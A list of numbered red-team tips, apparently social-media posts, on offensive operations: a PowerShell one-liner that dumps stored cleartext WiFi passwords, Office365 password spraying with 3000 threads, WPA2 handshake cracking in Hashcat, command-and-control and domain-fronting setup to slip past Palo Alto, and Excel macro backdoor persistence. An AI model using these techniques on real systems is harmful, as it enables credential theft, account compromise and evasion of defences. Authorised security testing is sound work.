Red tip #322: Logging the date and time is really important. Go to http://bashrcgenerator.com and generate a fancy looking, and useful time on your terminal for bash. I combine this with script ~/OPNAME_DATE.txt.
Red tip #323: Recruiters adding you on LinkedIn? Make the most out of it! 1) Recruitment / Job templates for use in campaigns, 2) Job site you can clone / reference when making your own, 3) Second and third degree connections to target organisations!
Red tip #324: Easy way to get Microsoft tenant ID:
https://login.windows.net/companyname.onmicrosoft.com/.well-known/openid-configuration. Not sure why when I Google Tenant ID, people censor it out when it's publicly accessible without any authentication. Bunch of interesting output from the request anyhow.Red tip #325: WPA2 PSK can be cracked on Hashcat too, just in case you were not aware. All you do is make cap2hccapx https://github.com/hashcat/hashcat-utils … then convert the handshake CAP file to HCCAPX then crack it in Hashcat mode 2500 :)
Red tip #326: WHOIS Protection in place on domains? Try get WHOIS information from the Autonomous System Number then use that to perform reverse WHOIS to find additional domains. https://dnslytics.com/bgp/us
Red tip #327: Hashcat doesn't run through special characters if you use -a 3 for passwords of length < 6. Use -a 3 -1 ?u?l?s ?1?1?1?1?1 instead.
Red tip #328: Need to Spray Office365? Use https://bitbucket.org/grimhacker/office365userenum. Tried and tested this tool and works really fast and well in Python. Just do --threads 3000 and --password Welcome1. As all operators know, you don't have time to be testing tools in the middle of a gig. :)
Red tip #329: Running a long gig? Use CloudFlare certificate that lasts 15 years instead of LetsEncrypt. LetsEncrypt lasts like 3 months and requires renewal. If you're domain fronting you don't want to be changing and updating certs to prevent 502 errors.
Red tip #330: Against Palo Alto? Default exemptions by @n00py1 https://pastebin.com/raw/Fa0nqg5g. Domain Fronting compatible list at https://github.com/vysec/DomainFrontingLists/blob/master/CloudFront-SSL-PA-Exempt.txt
Red tip #331: If you get errors RDPing to a Windows 10 box from Mac OSX or Windows 7, try a Windows 10 box :). Same vice versa with Windows 10 box RDPing to Windows 7 boxes you might have issues, so try using a Windows 7 box. Recent CREDSSP security patch screws it.
Red tip #332: If you're new to Red Team, or are performing a complex series of campaigns and attacks then I recommend using a WHITEBOARD. Yes, a whiteboard. It helps to draft out attacks, list out infrastructure, lets you visualize your campaign chain.
Red tip #333: One liner to grab all cleartext WiFi passwords:
(netsh wlan show profiles) | Select-String '\:(.+)#x27; | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)#x27; | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }}Red tip #334: Don’t spend too much time fixated on a rabbit hole. In a CTF you know you can “try harder” but in real life you often have to kick back and rethink what you’re doing. There’s so many times where I’ve found a way to pivot and continue after some good rest.
Red tip #336: Technical teams often pride themselves on technical capabilities and complexity. In real operations, less is more. The more simple and effective a solution or campaign is, the better. You most probably don’t need that mega complex payload or exploit path.
Red Tip #337: Have a low privileged Office365 account? Pivot over to portal.azure.com after logging in and you can access the Azure AD. If they're syncing AD you suddenly get to view all the groups. Also check out Azure CLI. From @ustayready's @WWHackinFest talk!
Red tip #338: Geographical TTPs should be kept in mind. TTPs that may not be as effective in one location may work wonders in another. Consider defensive solutions, legislation, export controls, compliance etc on that organization within different regions.
Red tip #339: Effective TTPs can differ depending on industry or organization size. An example may be that SMEs may be more likely vulnerable to a credential stuffing attack compared to a global financial organization because less policies around password rotation and expiry.
Red Tip #340: Not sure what countries your target operates in? Find out where all their servers are at least! Automate all the IP -> lat long and then use a Mapping framework to visualize. Works great.
Red Tip #341: VPNHunter can be used to automatically map out some common services such as VPN and dependent cloud services. http://VPNHunter.com
Red Tip #342: If you're running C2 Infrastructure, at least age the domain, build reputation, and SERVE SOME CONTENT on the web root. Oh yeah, don't forget to use VALID CERTIFICATES also.
Red Tip #343: When working with Google Drive documents, if it asks you to request permission, you can try. However, you can also try sticking /pubhtml at the end to see if they've published a copy that you can view.
Red Tip #344: Set
HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0, to allow multiple sessions on a server per user. This is useful if you want to login to the jump-host, but that guy's just on all-day-long... 😶Red Tip #345: When placing Excel Macro backdoors into Excel startup, you don't have to name it Personal.xlsb, you can also call it "Draft" with no extension.
